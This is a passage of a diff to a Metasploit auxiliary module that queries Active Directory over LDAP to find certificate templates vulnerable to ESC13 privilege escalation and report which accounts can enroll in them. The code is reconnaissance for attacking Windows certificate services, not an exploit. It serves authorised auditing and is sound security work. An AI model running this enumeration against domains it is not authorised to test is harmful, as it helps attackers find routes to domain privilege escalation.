esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: base_prefix)
|
||||
|
||||
if esc_entries.empty?
|
||||
print_warning("Couldn't find any vulnerable ESC13 templates!")
|
||||
return
|
||||
end
|
||||
|
||||
# Grab a list of certificates that contain vulnerable settings.
|
||||
# Also print out the list of SIDs that can enroll in that server.
|
||||
esc_entries.each do |entry|
|
||||
begin
|
||||
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(entry[:ntsecuritydescriptor][0])
|
||||
rescue IOError => e
|
||||
fail_with(Failure::UnexpectedReply, "Unable to read security descriptor! Error was: #{e.message}")
|
||||
end
|
||||
|
||||
allowed_sids = parse_acl(security_descriptor.dacl) if security_descriptor.dacl
|
||||
next if allowed_sids.empty?
|
||||
|
||||
groups = []
|
||||
entry['mspki-certificate-policy'].each do |certificate_policy_oid|
|
||||
policy = get_pki_object_by_oid(certificate_policy_oid)
|
||||
next if policy['msds-oidtogrouplink'].blank?
|
||||
|
||||
# get the group and check it for two conditions
|
||||
group = get_group_by_dn(policy['msds-oidtogrouplink'].first)
|
||||
|
||||
# condition 1: the group must be a universal group
|
||||
next if (group['grouptype'].first.to_i & ADS_GROUP_TYPE_UNIVERSAL_GROUP) == 0
|
||||
|
||||
# condition 2: the group must have no members (this is enforced in the GUI but check it anyways)
|
||||
next if group['member'].present?
|
||||
|
||||
groups << group['samaccountname'].first.to_s
|
||||
end
|
||||
next if groups.empty?
|
||||
|
||||
note = "ESC13 groups: #{groups.join(', ')}"
|
||||
certificate_symbol = entry[:cn][0].to_sym
|
||||
if @vuln_certificate_details.key?(certificate_symbol)
|
||||
@vuln_certificate_details[certificate_symbol][:vulns] << 'ESC13'
|
||||
@vuln_certificate_details[certificate_symbol][:notes] << note
|
||||
else
|
||||
@vuln_certificate_details[certificate_symbol] = { vulns: ['ESC13'], dn: entry[:dn][0], certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), ca_servers_n_enrollment_sids: {}, notes: [note] }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def find_enrollable_vuln_certificate_templates
|
||||
# For each of the vulnerable certificate templates, determine which servers
|
||||
# allows users to enroll in that certificate template and which users/groups
|
||||
|
@ -346,6 +385,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
print_status(" Distinguished Name: #{hash[:dn]}")
|
||||
print_status(" Vulnerable to: #{hash[:vulns].join(', ')}")
|
||||
if hash[:notes].present? && hash[:notes].length == 1
|
||||
print_status(" Notes: #{hash[:notes].first}")
|
||||
elsif hash[:notes].present? && hash[:notes].length > 1
|
||||
print_status(' Notes:')
|
||||
hash[:notes].each do |note|
|
||||
print_status(" * #{note}")
|
||||
end
|
||||
end
|
||||
|
||||
print_status(' Certificate Template Enrollment SIDs:')
|
||||
for sid in hash[:certificate_enrollment_sids].split(' | ')
|
||||
|
@ -367,16 +414,70 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def get_pki_object_by_oid(oid)
|
||||
pki_object = @ldap_mspki_enterprise_oids.find { |o| o['mspki-cert-template-oid'].first == oid }
|
||||
|
||||
if pki_object.nil?
|
||||
pki_object = query_ldap_server(
|
||||
"(&(objectClass=msPKI-Enterprise-Oid)(msPKI-Cert-Template-OID=#{oid}))",
|
||||
nil,
|
||||
base_prefix: 'CN=OID,CN=Public Key Services,CN=Services,CN=Configuration'
|
||||
)&.first
|
||||
@ldap_mspki_enterprise_oids << pki_object if pki_object
|
||||
end
|
||||
|
||||
pki_object
|
||||
end
|
||||
|
||||
def get_group_by_dn(group_dn)
|
||||
group = @ldap_groups.find { |o| o['dn'].first == group_dn }
|
||||
|
||||
if group.nil?
|
||||
cn, _, base = group_dn.partition(',')
|
||||
base.delete_suffix!(",#{@base_dn}")
|
||||
group = query_ldap_server(
|
||||
"(#{cn})",
|
||||
nil,
|
||||
base_prefix: base
|
||||
)&.first
|
||||
@ldap_groups << group if group
|
||||
end
|
||||
|
||||
group
|
||||
end
|
||||
|
||||
def run
|
||||
# Define our instance variables real quick.
|
||||
@base_dn = nil
|
||||
@ldap_mspki_enterprise_oids = []
|
||||
@ldap_groups = []
|
||||
@vuln_certificate_details = {} # Initialize to empty hash since we want to only keep one copy of each certificate template along with its details.
|
||||
|
||||
ldap_connect do |ldap|
|
||||
validate_bind_success!(ldap)
|
||||
|
||||
if (@base_dn = datastore['BASE_DN'])
|
||||
print_status("User-specified base DN: #{@base_dn}")
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = discover_base_dn(ldap))
|
||||
fail_with(Failure::NotFound, "Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
@ldap = ldap
|
||||
|
||||
find_esc1_vuln_cert_templates
|
||||
find_esc2_vuln_cert_templates
|
||||
find_esc3_vuln_cert_templates
|
||||
find_esc13_vuln_cert_templates
|
||||
|
||||
find_enrollable_vuln_certificate_templates
|
||||
print_vulnerable_cert_info
|
||||
end
|
||||
rescue Rex::ConnectionError => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
rescue Net::LDAP::Error => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue